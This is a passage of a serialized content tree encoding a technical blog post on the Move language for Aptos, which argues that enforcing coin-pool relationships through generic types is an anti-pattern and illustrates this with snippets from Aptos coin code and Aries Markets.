)",{"type":23,"tag":504,"props":8365,"children":8366},{"style":5047},[8367],{"type":29,"value":6533},{"type":23,"tag":504,"props":8369,"children":8370},{"style":5467},[8371],{"type":29,"value":7847},{"type":23,"tag":504,"props":8373,"children":8374},{"style":5058},[8375],{"type":29,"value":2658},{"type":23,"tag":504,"props":8377,"children":8378},{"style":5467},[8379],{"type":29,"value":8380},"LP",{"type":23,"tag":504,"props":8382,"children":8383},{"style":5058},[8384],{"type":29,"value":7866},{"type":23,"tag":504,"props":8386,"children":8387},{"style":5041},[8388],{"type":29,"value":8389},"acquires",{"type":23,"tag":504,"props":8391,"children":8392},{"style":5467},[8393],{"type":29,"value":8103},{"type":23,"tag":504,"props":8395,"children":8396},{"style":5058},[8397],{"type":29,"value":4367},{"type":23,"tag":504,"props":8399,"children":8400},{"style":5467},[8401],{"type":29,"value":8402},"EventsStore",{"type":23,"tag":504,"props":8404,"children":8405},{"style":5058},[8406],{"type":29,"value":5333},{"type":23,"tag":504,"props":8408,"children":8409},{"class":5016,"line":5308},[8410],{"type":23,"tag":504,"props":8411,"children":8412},{"style":5021},[8413],{"type":29,"value":8414},"          // ...\n",{"type":23,"tag":504,"props":8416,"children":8417},{"class":5016,"line":5336},[8418],{"type":23,"tag":504,"props":8419,"children":8420},{"emptyLinePlaceholder":15},[8421],{"type":29,"value":5734},{"type":23,"tag":504,"props":8423,"children":8424},{"class":5016,"line":5349},[8425,8430,8434,8439,8443,8448,8452,8456,8461,8465,8469,8473,8477,8482,8487],{"type":23,"tag":504,"props":8426,"children":8427},{"style":5030},[8428],{"type":29,"value":8429},"          let",{"type":23,"tag":504,"props":8431,"children":8432},{"style":5058},[8433],{"type":29,"value":5110},{"type":23,"tag":504,"props":8435,"children":8436},{"style":5041},[8437],{"type":29,"value":8438},"x_reserve_size",{"type":23,"tag":504,"props":8440,"children":8441},{"style":5058},[8442],{"type":29,"value":4367},{"type":23,"tag":504,"props":8444,"children":8445},{"style":5041},[8446],{"type":29,"value":8447},"y_reserve_size",{"type":23,"tag":504,"props":8449,"children":8450},{"style":5058},[8451],{"type":29,"value":5128},{"type":23,"tag":504,"props":8453,"children":8454},{"style":5047},[8455],{"type":29,"value":546},{"type":23,"tag":504,"props":8457,"children":8458},{"style":5041},[8459],{"type":29,"value":8460}," get_reserves_size",{"type":23,"tag":504,"props":8462,"children":8463},{"style":5058},[8464],{"type":29,"value":2658},{"type":23,"tag":504,"props":8466,"children":8467},{"style":5467},[8468],{"type":29,"value":2689},{"type":23,"tag":504,"props":8470,"children":8471},{"style":5058},[8472],{"type":29,"value":4367},{"type":23,"tag":504,"props":8474,"children":8475},{"style":5467},[8476],{"type":29,"value":8208},{"type":23,"tag":504,"props":8478,"children":8479},{"style":5058},[8480],{"type":29,"value":8481},", LP>(",{"type":23,"tag":504,"props":8483,"children":8484},{"style":5041},[8485],{"type":29,"value":8486},"pool_addr",{"type":23,"tag":504,"props":8488,"children":8489},{"style":5058},[8490],{"type":29,"value":5888},{"type":23,"tag":32,"props":8492,"children":8493},{},[8494,8496,8502,8503,8510],{"type":29,"value":8495},"As an aside, this generic type information is implemented at runtime in the ",{"type":23,"tag":154,"props":8497,"children":8499},{"className":8498},[],[8500],{"type":29,"value":8501},"ty_args",{"type":29,"value":1698},{"type":23,"tag":68,"props":8504,"children":8507},{"href":8505,"rel":8506},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[72],[8508],{"type":29,"value":8509},"at the vm level",{"type":29,"value":8511},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":32,"props":8513,"children":8514},{},[8515,8517,8523,8525,8531,8532,8538,8539,8545],{"type":29,"value":8516},"In pseucode, this checks that ",{"type":23,"tag":154,"props":8518,"children":8520},{"className":8519},[],[8521],{"type":29,"value":8522},"coin_x.type",{"type":29,"value":8524}," is equal to ",{"type":23,"tag":154,"props":8526,"children":8528},{"className":8527},[],[8529],{"type":29,"value":8530},"pool.x_type",{"type":29,"value":4375},{"type":23,"tag":154,"props":8533,"children":8535},{"className":8534},[],[8536],{"type":29,"value":8537},"coin_y.type",{"type":29,"value":8524},{"type":23,"tag":154,"props":8540,"children":8542},{"className":8541},[],[8543],{"type":29,"value":8544},"pool.y_type",{"type":29,"value":357},{"type":23,"tag":32,"props":8547,"children":8548},{},[8549],{"type":29,"value":8550},"This type system has two advantages",{"type":23,"tag":139,"props":8552,"children":8553},{},[8554,8566],{"type":23,"tag":143,"props":8555,"children":8556},{},[8557,8559,8564],{"type":29,"value":8558},"It's required. The type parameter ",{"type":23,"tag":4321,"props":8560,"children":8561},{},[8562],{"type":29,"value":8563},"must",{"type":29,"value":8565}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":143,"props":8567,"children":8568},{},[8569],{"type":29,"value":8570},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":32,"props":8572,"children":8573},{},[8574],{"type":29,"value":8575},"However, this system isn't perfect.",{"type":23,"tag":32,"props":8577,"children":8578},{},[8579,8581,8586],{"type":29,"value":8580},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":38,"props":8582,"children":8583},{},[8584],{"type":29,"value":8585},"an anti-pattern",{"type":29,"value":357},{"type":23,"tag":32,"props":8588,"children":8589},{},[8590,8592,8598],{"type":29,"value":8591},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":154,"props":8593,"children":8595},{"className":8594},[],[8596],{"type":29,"value":8597},"CoinInfo\u003CCoinType>",{"type":29,"value":357},{"type":23,"tag":4743,"props":8600,"children":8602},{"className":5009,"code":8601,"language":5008,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[8603],{"type":23,"tag":154,"props":8604,"children":8605},{"__ignoreMap":7},[8606,8633,8641,8710,8717,8724,8736,8781,8803],{"type":23,"tag":504,"props":8607,"children":8608},{"class":5016,"line":5017},[8609,8614,8619,8623,8628],{"type":23,"tag":504,"props":8610,"children":8611},{"style":5041},[8612],{"type":29,"value":8613},"  fun",{"type":23,"tag":504,"props":8615,"children":8616},{"style":5041},[8617],{"type":29,"value":8618}," initialize_internal",{"type":23,"tag":504,"props":8620,"children":8621},{"style":5058},[8622],{"type":29,"value":2658},{"type":23,"tag":504,"props":8624,"children":8625},{"style":5467},[8626],{"type":29,"value":8627},"CoinType",{"type":23,"tag":504,"props":8629,"children":8630},{"style":5058},[8631],{"type":29,"value":8632},">(\n",{"type":23,"tag":504,"props":8634,"children":8635},{"class":5016,"line":4868},[8636],{"type":23,"tag":504,"props":8637,"children":8638},{"style":5021},[8639],{"type":29,"value":8640},"      // ...\n",{"type":23,"tag":504,"props":8642,"children":8643},{"class":5016,"line":4876},[8644,8649,8653,8657,8662,8666,8670,8675,8680,8684,8688,8692,8697,8701,8705],{"type":23,"tag":504,"props":8645,"children":8646},{"style":5058},[8647],{"type":29,"value":8648},"  )",{"type":23,"tag":504,"props":8650,"children":8651},{"style":5047},[8652],{"type":29,"value":6533},{"type":23,"tag":504,"props":8654,"children":8655},{"style":5058},[8656],{"type":29,"value":5110},{"type":23,"tag":504,"props":8658,"children":8659},{"style":5467},[8660],{"type":29,"value":8661},"BurnCapability",{"type":23,"tag":504,"props":8663,"children":8664},{"style":5058},[8665],{"type":29,"value":2658},{"type":23,"tag":504,"props":8667,"children":8668},{"style":5467},[8669],{"type":29,"value":8627},{"type":23,"tag":504,"props":8671,"children":8672},{"style":5058},[8673],{"type":29,"value":8674},">, ",{"type":23,"tag":504,"props":8676,"children":8677},{"style":5467},[8678],{"type":29,"value":8679},"FreezeCapability",{"type":23,"tag":504,"props":8681,"children":8682},{"style":5058},[8683],{"type":29,"value":2658},{"type":23,"tag":504,"props":8685,"children":8686},{"style":5467},[8687],{"type":29,"value":8627},{"type":23,"tag":504,"props":8689,"children":8690},{"style":5058},[8691],{"type":29,"value":8674},{"type":23,"tag":504,"props":8693,"children":8694},{"style":5467},[8695],{"type":29,"value":8696},"MintCapability",{"type":23,"tag":504,"props":8698,"children":8699},{"style":5058},[8700],{"type":29,"value":2658},{"type":23,"tag":504,"props":8702,"children":8703},{"style":5467},[8704],{"type":29,"value":8627},{"type":23,"tag":504,"props":8706,"children":8707},{"style":5058},[8708],{"type":29,"value":8709},">) {\n",{"type":23,"tag":504,"props":8711,"children":8712},{"class":5016,"line":5099},[8713],{"type":23,"tag":504,"props":8714,"children":8715},{"style":5021},[8716],{"type":29,"value":8640},{"type":23,"tag":504,"props":8718,"children":8719},{"class":5016,"line":5203},[8720],{"type":23,"tag":504,"props":8721,"children":8722},{"emptyLinePlaceholder":15},[8723],{"type":29,"value":5734},{"type":23,"tag":504,"props":8725,"children":8726},{"class":5016,"line":5308},[8727,8732],{"type":23,"tag":504,"props":8728,"children":8729},{"style":5139},[8730],{"type":29,"value":8731},"      assert!",{"type":23,"tag":504,"props":8733,"children":8734},{"style":5058},[8735],{"type":29,"value":5512},{"type":23,"tag":504,"props":8737,"children":8738},{"class":5016,"line":5336},[8739,8744,8749,8753,8758,8762,8766,8771,8776],{"type":23,"tag":504,"props":8740,"children":8741},{"style":5047},[8742],{"type":29,"value":8743},"          !",{"type":23,"tag":504,"props":8745,"children":8746},{"style":5041},[8747],{"type":29,"value":8748},"exists",{"type":23,"tag":504,"props":8750,"children":8751},{"style":5058},[8752],{"type":29,"value":2658},{"type":23,"tag":504,"props":8754,"children":8755},{"style":5467},[8756],{"type":29,"value":8757},"CoinInfo",{"type":23,"tag":504,"props":8759,"children":8760},{"style":5058},[8761],{"type":29,"value":2658},{"type":23,"tag":504,"props":8763,"children":8764},{"style":5467},[8765],{"type":29,"value":8627},{"type":23,"tag":504,"props":8767,"children":8768},{"style":5058},[8769],{"type":29,"value":8770},">>(",{"type":23,"tag":504,"props":8772,"children":8773},{"style":5041},[8774],{"type":29,"value":8775},"account_addr",{"type":23,"tag":504,"props":8777,"children":8778},{"style":5058},[8779],{"type":29,"value":8780},"),\n",{"type":23,"tag":504,"props":8782,"children":8783},{"class":5016,"line":5349},[8784,8789,8793,8798],{"type":23,"tag":504,"props":8785,"children":8786},{"style":5058},[8787],{"type":29,"value":8788},"          error",{"type":23,"tag":504,"props":8790,"children":8791},{"style":5047},[8792],{"type":29,"value":5530},{"type":23,"tag":504,"props":8794,"children":8795},{"style":5139},[8796],{"type":29,"value":8797},"already_exists",{"type":23,"tag":504,"props":8799,"children":8800},{"style":5058},[8801],{"type":29,"value":8802},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":504,"props":8804,"children":8805},{"class":5016,"line":5367},[8806],{"type":23,"tag":504,"props":8807,"children":8808},{"style":5058},[8809],{"type":29,"value":8810},"      );\n",{"type":23,"tag":32,"props":8812,"children":8813},{},[8814,8816,8821],{"type":29,"value":8815},"While this ",{"type":23,"tag":154,"props":8817,"children":8819},{"className":8818},[],[8820],{"type":29,"value":8757},{"type":29,"value":8822}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":32,"props":8824,"children":8825},{},[8826,8828,8835],{"type":29,"value":8827},"Similarly, consider ",{"type":23,"tag":68,"props":8829,"children":8832},{"href":8830,"rel":8831},"https://ariesmarkets.xyz/",[72],[8833],{"type":29,"value":8834},"Aries Markets",{"type":29,"value":8836},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":32,"props":8838,"children":8839},{},[8840,8842,8848],{"type":29,"value":8841},"Their ",{"type":23,"tag":154,"props":8843,"children":8845},{"className":8844},[],[8846],{"type":29,"value":8847},"ReserveCoinContainer",{"type":29,"value":8849}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":4743,"props":8851,"children":8853},{"className":5009,"code":8852,"language":5008,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[8854],{"type":23,"tag":154,"props":8855,"children":8856},{"__ignoreMap":7},[8857,8865,8873,8914,8922,8951,8959,8996,9004,9041,9049,9086,9093,9100],{"type":23,"tag":504,"props":8858,"children":8859},{"class":5016,"line":5017},[8860],{"type":23,"tag":504,"props":8861,"children":8862},{"style":5021},[8863],{"type":29,"value":8864},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":504,"props":8866,"children":8867},{"class":5016,"line":4868},[8868],{"type":23,"tag":504,"props":8869,"children":8870},{"style":5021},[8871],{"type":29,"value":8872},"  /// Stored as a resources.\n",{"type":23,"tag":504,"props":8874,"children":8875},{"class":5016,"line":4876},[8876,8880,8885,8889,8893,8898,8902,8906,8910],{"type":23,"tag":504,"props":8877,"children":8878},{"style":5030},[8879],{"type":29,"value":7842},{"type":23,"tag":504,"props":8881,"children":8882},{"style":5467},[8883],{"type":29,"value":8884}," ReserveCoinContainer",{"type":23,"tag":504,"props":8886,"children":8887},{"style":5058},[8888],{"type":29,"value":2658},{"type":23,"tag":504,"props":8890,"children":8891},{"style":5041},[8892],{"type":29,"value":7856},{"type":23,"tag":504,"props":8894,"children":8895},{"style":5467},[8896],{"type":29,"value":8897}," Coin0",{"type":23,"tag":504,"props":8899,"children":8900},{"style":5058},[8901],{"type":29,"value":7866},{"type":23,"tag":504,"props":8903,"children":8904},{"style":5041},[8905],{"type":29,"value":7871},{"type":23,"tag":504,"props":8907,"children":8908},{"style":5041},[8909],{"type":29,"value":7977},{"type":23,"tag":504,"props":8911,"children":8912},{"style":5058},[8913],{"type":29,"value":5333},{"type":23,"tag":504,"props":8915,"children":8916},{"class":5016,"line":5099},[8917],{"type":23,"tag":504,"props":8918,"children":8919},{"style":5021},[8920],{"type":29,"value":8921},"      /// Stores the available `Coin`.\n",{"type":23,"tag":504,"props":8923,"children":8924},{"class":5016,"line":5203},[8925,8930,8934,8938,8942,8947],{"type":23,"tag":504,"props":8926,"children":8927},{"style":5041},[8928],{"type":29,"value":8929},"      underlying_coin",{"type":23,"tag":504,"props":8931,"children":8932},{"style":5047},[8933],{"type":29,"value":6533},{"type":23,"tag":504,"props":8935,"children":8936},{"style":5467},[8937],{"type":29,"value":7847},{"type":23,"tag":504,"props":8939,"children":8940},{"style":5058},[8941],{"type":29,"value":2658},{"type":23,"tag":504,"props":8943,"children":8944},{"style":5467},[8945],{"type":29,"value":8946},"Coin0",{"type":23,"tag":504,"props":8948,"children":8949},{"style":5058},[8950],{"type":29,"value":8183},{"type":23,"tag":504,"props":8952,"children":8953},{"class":5016,"line":5308},[8954],{"type":23,"tag":504,"props":8955,"children":8956},{"style":5021},[8957],{"type":29,"value":8958},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":504,"props":8960,"children":8961},{"class":5016,"line":5336},[8962,8967,8971,8975,8979,8983,8987,8991],{"type":23,"tag":504,"props":8963,"children":8964},{"style":5041},[8965],{"type":29,"value":8966},"      collateralised_lp_coin",{"type":23,"tag":504,"props":8968,"children":8969},{"style":5047},[8970],{"type":29,"value":6533},{"type":23,"tag":504,"props":8972,"children":8973},{"style":5467},[8974],{"type":29,"value":7847},{"type":23,"tag":504,"props":8976,"children":8977},{"style":5058},[8978],{"type":29,"value":2658},{"type":23,"tag":504,"props":8980,"children":8981},{"style":5467},[8982],{"type":29,"value":8380},{"type":23,"tag":504,"props":8984,"children":8985},{"style":5058},[8986],{"type":29,"value":2658},{"type":23,"tag":504,"props":8988,"children":8989},{"style":5467},[8990],{"type":29,"value":8946},{"type":23,"tag":504,"props":8992,"children":8993},{"style":5058},[8994],{"type":29,"value":8995},">>,\n",{"type":23,"tag":504,"props":8997,"children":8998},{"class":5016,"line":5349},[8999],{"type":23,"tag":504,"props":9000,"children":9001},{"style":5021},[9002],{"type":29,"value":9003},"      /// Mint capability for LP Coin.\n",{"type":23,"tag":504,"props":9005,"children":9006},{"class":5016,"line":5367},[9007,9012,9016,9021,9025,9029,9033,9037],{"type":23,"tag":504,"props":9008,"children":9009},{"style":5041},[9010],{"type":29,"value":9011},"      mint_capability",{"type":23,"tag":504,"props":9013,"children":9014},{"style":5047},[9015],{"type":29,"value":6533},{"type":23,"tag":504,"props":9017,"children":9018},{"style":5467},[9019],{"type":29,"value":9020}," MintCapability",{"type":23,"tag":504,"props":9022,"children":9023},{"style":5058},[9024],{"type":29,"value":2658},{"type":23,"tag":504,"props":9026,"children":9027},{"style":5467},[9028],{"type":29,"value":8380},{"type":23,"tag":504,"props":9030,"children":9031},{"style":5058},[9032],{"type":29,"value":2658},{"type":23,"tag":504,"props":9034,"children":9035},{"style":5467},[9036],{"type":29,"value":8946},{"type":23,"tag":504,"props":9038,"children":9039},{"style":5058},[9040],{"type":29,"value":8995},{"type":23,"tag":504,"props":9042,"children":9043},{"class":5016,"line":5388},[9044],{"type":23,"tag":504,"props":9045,"children":9046},{"style":5021},[9047],{"type":29,"value":9048},"      /// Burn capability for LP Coin.\n",{"type":23,"tag":504,"props":9050,"children":9051},{"class":5016,"line":5397},[9052,9057,9061,9066,9070,9074,9078,9082],{"type":23,"tag":504,"props":9053,"children":9054},{"style":5041},[9055],{"type":29,"value":9056},"      burn_capability",{"type":23,"tag":504,"props":9058,"children":9059},{"style":5047},[9060],{"type":29,"value":6533},{"type":23,"tag":504,"props":9062,"children":9063},{"style":5467},[9064],{"type":29,"value":9065}," BurnCapability",{"type":23,"tag":504,"props":9067,"children":9068},{"style":5058},[9069],{"type":29,"value":2658},{"type":23,"tag":504,"props":9071,"children":9072},{"style":5467},[9073],{"type":29,"value":8380},{"type":23,"tag":504,"props":9075,"children":9076},{"style":5058},[9077],{"type":29,"value":2658},{"type":23,"tag":504,"props":9079,"children":9080},{"style":5467},[9081],{"type":29,"value":8946},{"type":23,"tag":504,"props":9083,"children":9084},{"style":5058},[9085],{"type":29,"value":8995},{"type":23,"tag":504,"props":9087,"children":9088},{"class":5016,"line":5649},[9089],{"type":23,"tag":504,"props":9090,"children":9091},{"emptyLinePlaceholder":15},[9092],{"type":29,"value":5734},{"type":23,"tag":504,"props":9094,"children":9095},{"class":5016,"line":5666},[9096],{"type":23,"tag":504,"props":9097,"children":9098},{"style":5021},[9099],{"type":29,"value":8640},{"type":23,"tag":504,"props":9101,"children":9102},{"class":5016,"line":5683},[9103],{"type":23,"tag":504,"props":9104,"children":9105},{"style":5058},[9106],{"type":29,"value":7917},{"type":23,"tag":32,"props":9108,"children":9109},{},[9110,9112,9117],{"type":29,"value":9111},"When creating a ",{"type":23,"tag":154,"props":9113,"children":9115},{"className":9114},[],[9116],{"type":29,"value":8847},{"type":29,"value":9118},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":4743,"props":9120,"children":9122},{"className":5009,"code":9121,"language":5008,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[9123],{"type":23,"tag":154,"props":9124,"children":9125},{"__ignoreMap":7},[9126,9169,9195,9202,9223,9268,9275,9282,9289,9326,9333],{"type":23,"tag":504,"props":9127,"children":9128},{"class":5016,"line":5017},[9129,9134,9138,9143,9147,9152,9157,9161,9165],{"type":23,"tag":504,"props":9130,"children":9131},{"style":5139},[9132],{"type":29,"value":9133},"  public",{"type":23,"tag":504,"props":9135,"children":9136},{"style":5058},[9137],{"type":29,"value":603},{"type":23,"tag":504,"props":9139,"children":9140},{"style":5041},[9141],{"type":29,"value":9142},"friend",{"type":23,"tag":504,"props":9144,"children":9145},{"style":5058},[9146],{"type":29,"value":5128},{"type":23,"tag":504,"props":9148,"children":9149},{"style":5041},[9150],{"type":29,"value":9151},"fun",{"type":23,"tag":504,"props":9153,"children":9154},{"style":5041},[9155],{"type":29,"value":9156}," create",{"type":23,"tag":504,"props":9158,"children":9159},{"style":5058},[9160],{"type":29,"value":2658},{"type":23,"tag":504,"props":9162,"children":9163},{"style":5467},[9164],{"type":29,"value":8946},{"type":23,"tag":504,"props":9166,"children":9167},{"style":5058},[9168],{"type":29,"value":8632},{"type":23,"tag":504,"props":9170,"children":9171},{"class":5016,"line":4868},[9172,9177,9181,9186,9191],{"type":23,"tag":504,"props":9173,"children":9174},{"style":5041},[9175],{"type":29,"value":9176},"      lp_store",{"type":23,"tag":504,"props":9178,"children":9179},{"style":5047},[9180],{"type":29,"value":6533},{"type":23,"tag":504,"props":9182,"children":9183},{"style":5047},[9184],{"type":29,"value":9185}," &",{"type":23,"tag":504,"props":9187,"children":9188},{"style":5041},[9189],{"type":29,"value":9190},"signer",{"type":23,"tag":504,"props":9192,"children":9193},{"style":5058},[9194],{"type":29,"value":5557},{"type":23,"tag":504,"props":9196,"children":9197},{"class":5016,"line":4876},[9198],{"type":23,"tag":504,"props":9199,"children":9200},{"style":5021},[9201],{"type":29,"value":8640},{"type":23,"tag":504,"props":9203,"children":9204},{"class":5016,"line":5099},[9205,9210,9214,9219],{"type":23,"tag":504,"props":9206,"children":9207},{"style":5058},[9208],{"type":29,"value":9209},"  ) ",{"type":23,"tag":504,"props":9211,"children":9212},{"style":5041},[9213],{"type":29,"value":8389},{"type":23,"tag":504,"props":9215,"children":9216},{"style":5467},[9217],{"type":29,"value":9218}," Reserves",{"type":23,"tag":504,"props":9220,"children":9221},{"style":5058},[9222],{"type":29,"value":5333},{"type":23,"tag":504,"props":9224,"children":9225},{"class":5016,"line":5203},[9226,9231,9235,9240,9245,9249,9254,9258,9263],{"type":23,"tag":504,"props":9227,"children":9228},{"style":5058},[9229],{"type":29,"value":9230},"      lp",{"type":23,"tag":504,"props":9232,"children":9233},{"style":5047},[9234],{"type":29,"value":5530},{"type":23,"tag":504,"props":9236,"children":9237},{"style":5139},[9238],{"type":29,"value":9239},"assert_is_lp_store",{"type":23,"tag":504,"props":9241,"children":9242},{"style":5058},[9243],{"type":29,"value":9244},"(signer",{"type":23,"tag":504,"props":9246,"children":9247},{"style":5047},[9248],{"type":29,"value":5530},{"type":23,"tag":504,"props":9250,"children":9251},{"style":5139},[9252],{"type":29,"value":9253},"address_of",{"type":23,"tag":504,"props":9255,"children":9256},{"style":5058},[9257],{"type":29,"value":603},{"type":23,"tag":504,"props":9259,"children":9260},{"style":5041},[9261],{"type":29,"value":9262},"lp_store",{"type":23,"tag":504,"props":9264,"children":9265},{"style":5058},[9266],{"type":29,"value":9267},"));\n",{"type":23,"tag":504,"props":9269,"children":9270},{"class":5016,"line":5308},[9271],{"type":23,"tag":504,"props":9272,"children":9273},{"emptyLinePlaceholder":15},[9274],{"type":29,"value":5734},{"type":23,"tag":504,"props":9276,"children":9277},{"class":5016,"line":5336},[9278],{"type":23,"tag":504,"props":9279,"children":9280},{"style":5021},[9281],{"type":29,"value":8640},{"type":23,"tag":504,"props":9283,"children":9284},{"class":5016,"line":5349},[9285],{"type":23,"tag":504,"props":9286,"children":9287},{"emptyLinePlaceholder":15},[9288],{"type":29,"value":5734},{"type":23,"tag":504,"props":9290,"children":9291},{"class":5016,"line":5367},[9292,9297,9301,9305,9309,9313,9317,9321],{"type":23,"tag":504,"props":9293,"children":9294},{"style":5139},[9295],{"type":29,"value":9296},"      move_to",{"type":23,"tag":504,"props":9298,"children":9299},{"style":5058},[9300],{"type":29,"value":603},{"type":23,"tag":504,"props":9302,"children":9303},{"style":5041},[9304],{"type":29,"value":9262},{"type":23,"tag":504,"props":9306,"children":9307},{"style":5058},[9308],{"type":29,"value":4367},{"type":23,"tag":504,"props":9310,"children":9311},{"style":5467},[9312],{"type":29,"value":8847},{"type":23,"tag":504,"props":9314,"children":9315},{"style":5058},[9316],{"type":29,"value":2658},{"type":23,"tag":504,"props":9318,"children":9319},{"style":5467},[9320],{"type":29,"value":8946},{"type":23,"tag":504,"props":9322,"children":9323},{"style":5058},[9324],{"type":29,"value":9325},"> {\n",{"type":23,"tag":504,"props":9327,"children":9328},{"class":5016,"line":5388},[9329],{"type":23,"tag":504,"props":9330,"children":9331},{"style":5021},[9332],{"type":29,"value":8220},{"type":23,"tag":504,"props":9334,"children":9335},{"class":5016,"line":5397},[9336],{"type":23,"tag":504,"props":9337,"children":9338},{"style":5058},[9339],{"type":29,"value":9340},"      });\n",{"type":23,"tag":32,"props":9342,"children":9343},{},[9344],{"type":29,"value":9345},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":32,"props":9347,"children":9348},{},[9349,9351,9357,9359,9365,9367,9372],{"type":29,"value":9350},"On the other hand, consider if you have a ",{"type":23,"tag":154,"props":9352,"children":9354},{"className":9353},[],[9355],{"type":29,"value":9356},"Position\u003CT>",{"type":29,"value":9358}," and a ",{"type":23,"tag":154,"props":9360,"children":9362},{"className":9361},[],[9363],{"type":29,"value":9364},"Market\u003CT>",{"type":29,"value":9366}," where ",{"type":23,"tag":154,"props":9368,"children":9370},{"className":9369},[],[9371],{"type":29,"value":8033},{"type":29,"value":9373}," is the coin type.",{"type":23,"tag":4743,"props":9375,"children":9377},{"className":5009,"code":9376,"language":5008,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[9378],{"type":23,"tag":154,"props":9379,"children":9380},{"__ignoreMap":7},[9381,9409,9437,9444,9451,9458,9486,9506,9513],{"type":23,"tag":504,"props":9382,"children":9383},{"class":5016,"line":5017},[9384,9388,9393,9397,9401,9405],{"type":23,"tag":504,"props":9385,"children":9386},{"style":5030},[9387],{"type":29,"value":8098},{"type":23,"tag":504,"props":9389,"children":9390},{"style":5467},[9391],{"type":29,"value":9392}," Market",{"type":23,"tag":504,"props":9394,"children":9395},{"style":5058},[9396],{"type":29,"value":2658},{"type":23,"tag":504,"props":9398,"children":9399},{"style":5041},[9400],{"type":29,"value":7856},{"type":23,"tag":504,"props":9402,"children":9403},{"style":5467},[9404],{"type":29,"value":7964},{"type":23,"tag":504,"props":9406,"children":9407},{"style":5058},[9408],{"type":29,"value":9325},{"type":23,"tag":504,"props":9410,"children":9411},{"class":5016,"line":4868},[9412,9417,9421,9425,9429,9433],{"type":23,"tag":504,"props":9413,"children":9414},{"style":5041},[9415],{"type":29,"value":9416},"        reserves",{"type":23,"tag":504,"props":9418,"children":9419},{"style":5047},[9420],{"type":29,"value":6533},{"type":23,"tag":504,"props":9422,"children":9423},{"style":5467},[9424],{"type":29,"value":7847},{"type":23,"tag":504,"props":9426,"children":9427},{"style":5058},[9428],{"type":29,"value":2658},{"type":23,"tag":504,"props":9430,"children":9431},{"style":5467},[9432],{"type":29,"value":8033},{"type":23,"tag":504,"props":9434,"children":9435},{"style":5058},[9436],{"type":29,"value":8183},{"type":23,"tag":504,"props":9438,"children":9439},{"class":5016,"line":4876},[9440],{"type":23,"tag":504,"props":9441,"children":9442},{"style":5021},[9443],{"type":29,"value":8220},{"type":23,"tag":504,"props":9445,"children":9446},{"class":5016,"line":5099},[9447],{"type":23,"tag":504,"props":9448,"children":9449},{"style":5058},[9450],{"type":29,"value":5403},{"type":23,"tag":504,"props":9452,"children":9453},{"class":5016,"line":5203},[9454],{"type":23,"tag":504,"props":9455,"children":9456},{"emptyLinePlaceholder":15},[9457],{"type":29,"value":5734},{"type":23,"tag":504,"props":9459,"children":9460},{"class":5016,"line":5308},[9461,9465,9470,9474,9478,9482],{"type":23,"tag":504,"props":9462,"children":9463},{"style":5030},[9464],{"type":29,"value":8098},{"type":23,"tag":504,"props":9466,"children":9467},{"style":5467},[9468],{"type":29,"value":9469}," Position",{"type":23,"tag":504,"props":9471,"children":9472},{"style":5058},[9473],{"type":29,"value":2658},{"type":23,"tag":504,"props":9475,"children":9476},{"style":5041},[9477],{"type":29,"value":7856},{"type":23,"tag":504,"props":9479,"children":9480},{"style":5467},[9481],{"type":29,"value":7964},{"type":23,"tag":504,"props":9483,"children":9484},{"style":5058},[9485],{"type":29,"value":9325},{"type":23,"tag":504,"props":9487,"children":9488},{"class":5016,"line":5336},[9489,9494,9498,9502],{"type":23,"tag":504,"props":9490,"children":9491},{"style":5041},[9492],{"type":29,"value":9493},"        